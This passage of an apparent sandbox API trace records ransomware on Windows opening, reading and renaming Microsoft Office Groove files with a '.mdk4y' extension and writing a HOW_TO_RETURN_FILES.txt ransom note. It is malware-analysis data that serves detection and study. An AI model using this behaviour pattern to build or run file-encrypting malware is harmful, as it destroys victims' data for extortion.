lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="VIEW.ICO", lpUsedDefaultChar=0x37dda8) returned 8 [0216.753] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.754] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829198400000) returned 1 [0216.754] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x13e, lpOverlapped=0x0) returned 1 [0216.754] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829198400000) returned 1 [0216.755] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829198500000) returned 1 [0216.755] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.ico.mdk4y")) returned 1 [0216.755] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.755] AreFileApisANSI () returned 1 [0216.755] GetACP () returned 0x4e4 [0216.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VIEW.JS", cchWideChar=7, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="VIEW.JSO", lpUsedDefaultChar=0x37dda8) returned 7 [0216.756] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.756] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829198600000) returned 1 [0216.756] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x505b, lpOverlapped=0x0) returned 1 [0216.757] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829198700000) returned 1 [0216.757] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829198700000) returned 1 [0216.758] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEW.JS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\view.js.mdk4y")) returned 1 [0216.759] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.759] AreFileApisANSI () returned 1 [0216.759] GetACP () returned 0x4e4 [0216.759] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VIEWBY.GIF", cchWideChar=10, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="VIEWBY.GIF.js", lpUsedDefaultChar=0x37dda8) returned 10 [0216.759] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEWBY.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewby.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.759] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829198900000) returned 1 [0216.760] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x207, lpOverlapped=0x0) returned 1 [0216.760] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829199000000) returned 1 [0216.760] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829199000000) returned 1 [0216.761] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEWBY.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewby.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\VIEWBY.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewby.gif.mdk4y")) returned 1 [0216.762] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.762] AreFileApisANSI () returned 1 [0216.762] GetACP () returned 0x4e4 [0216.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="viewDblClick.js", cchWideChar=15, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="viewDblClick.jss.js", lpUsedDefaultChar=0x37dda8) returned 15 [0216.762] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\viewDblClick.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewdblclick.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.763] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829199300000) returned 1 [0216.763] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x54, lpOverlapped=0x0) returned 1 [0216.764] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829199400000) returned 1 [0216.764] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829199400000) returned 1 [0216.764] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\viewDblClick.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewdblclick.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\viewDblClick.js.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewdblclick.js.mdk4y")) returned 1 [0216.765] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.765] AreFileApisANSI () returned 1 [0216.765] GetACP () returned 0x4e4 [0216.765] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ViewHeaderPreview.jpg", cchWideChar=21, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="ViewHeaderPreview.jpgml", lpUsedDefaultChar=0x37dda8) returned 21 [0216.765] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewheaderpreview.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.766] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829199600000) returned 1 [0216.766] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xd78, lpOverlapped=0x0) returned 1 [0216.772] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829200200000) returned 1 [0216.772] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829200200000) returned 1 [0216.772] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewheaderpreview.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\ViewHeaderPreview.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewheaderpreview.jpg.mdk4y")) returned 1 [0216.773] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.773] AreFileApisANSI () returned 1 [0216.773] GetACP () returned 0x4e4 [0216.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="viewSelectionChanged.js", cchWideChar=23, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="viewSelectionChanged.js", lpUsedDefaultChar=0x37dda8) returned 23 [0216.773] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\viewSelectionChanged.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewselectionchanged.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.774] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829200400000) returned 1 [0216.774] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xce, lpOverlapped=0x0) returned 1 [0216.775] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829200500000) returned 1 [0216.775] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829200700000) returned 1 [0216.778] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\viewSelectionChanged.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewselectionchanged.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\viewSelectionChanged.js.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewselectionchanged.js.mdk4y")) returned 1 [0216.778] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 0 [0216.779] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0216.779] AreFileApisANSI () returned 1 [0216.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 106 [0216.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.780] GetFileType (hFile=0x130) returned 0x1 [0216.780] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0216.780] AreFileApisANSI () returned 1 [0216.780] GetACP () returned 0x4e4 [0216.780] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GrooveForms3", cchWideChar=12, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="GrooveForms3ntReview", lpUsedDefaultChar=0x37de34) returned 12 [0216.781] AreFileApisANSI () returned 1 [0216.781] GetACP () returned 0x4e4 [0216.781] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6b9f70, cbMultiByte=83, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\瞈㲣瞈鑖瞣_") returned 83 [0216.782] AreFileApisANSI () returned 1 [0216.782] GetACP () returned 0x4e4 [0216.782] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 1 [0216.782] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.783] AreFileApisANSI () returned 1 [0216.783] GetACP () returned 0x4e4 [0216.783] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 2 [0216.783] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.783] AreFileApisANSI () returned 1 [0216.783] GetACP () returned 0x4e4 [0216.783] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ADD.GIF", cchWideChar=7, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="ADD.GIFxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 7 [0216.783] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ADD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\add.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.784] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829201400000) returned 1 [0216.784] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x244, lpOverlapped=0x0) returned 1 [0216.785] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829201500000) returned 1 [0216.785] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829201500000) returned 1 [0216.785] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ADD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\add.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ADD.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\add.gif.mdk4y")) returned 1 [0216.787] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.787] AreFileApisANSI () returned 1 [0216.787] GetACP () returned 0x4e4 [0216.787] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AddToViewArrow.jpg", cchWideChar=18, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="AddToViewArrow.jpg47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 18 [0216.787] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\addtoviewarrow.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.787] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829201700000) returned 1 [0216.787] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xbe8, lpOverlapped=0x0) returned 1 [0216.788] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829201800000) returned 1 [0216.788] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829201800000) returned 1 [0216.789] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\addtoviewarrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrow.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\addtoviewarrow.jpg.mdk4y")) returned 1 [0216.790] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.790] AreFileApisANSI () returned 1 [0216.790] GetACP () returned 0x4e4 [0216.790] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AddToViewArrowMask.bmp", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="AddToViewArrowMask.bmp28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 22 [0216.790] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\addtoviewarrowmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.790] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829202000000) returned 1 [0216.790] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x924, lpOverlapped=0x0) returned 1 [0216.792] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829202200000) returned 1 [0216.792] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829202200000) returned 1 [0216.792] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\addtoviewarrowmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrowMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\addtoviewarrowmask.bmp.mdk4y")) returned 1 [0216.793] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.793] AreFileApisANSI () returned 1 [0216.793] GetACP () returned 0x4e4 [0216.793] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="attention.gif", cchWideChar=13, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="attention.gifwMask.bmp", lpUsedDefaultChar=0x37dda8) returned 13 [0216.793] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\attention.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\attention.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.793] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829202300000) returned 1 [0216.793] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xae8, lpOverlapped=0x0) returned 1 [0216.803] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829203200000) returned 1 [0216.803] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829203300000) returned 1 [0216.803] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\attention.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\attention.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\attention.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\attention.gif.mdk4y")) returned 1 [0216.804] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0216.804] AreFileApisANSI () returned 1 [0216.805] GetACP () returned 0x4e4 [0216.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BG_ADOBE.GIF", cchWideChar=12, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="BG_ADOBE.GIFf", lpUsedDefaultChar=0x37dda8) returned 12 [0216.805] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\BG_ADOBE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_adobe.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0216.805] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829203500000) returned 1 [0216.805] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x614e, lpOverlapped=0x0) returned 1 [0216.811] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829204100000) returned 1 [0216.811] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829204100000) returned 1 [0216.812] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\BG_ADOBE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_adobe.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\BG_ADOBE.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_adobe.gif.mdk4y")) returned 1 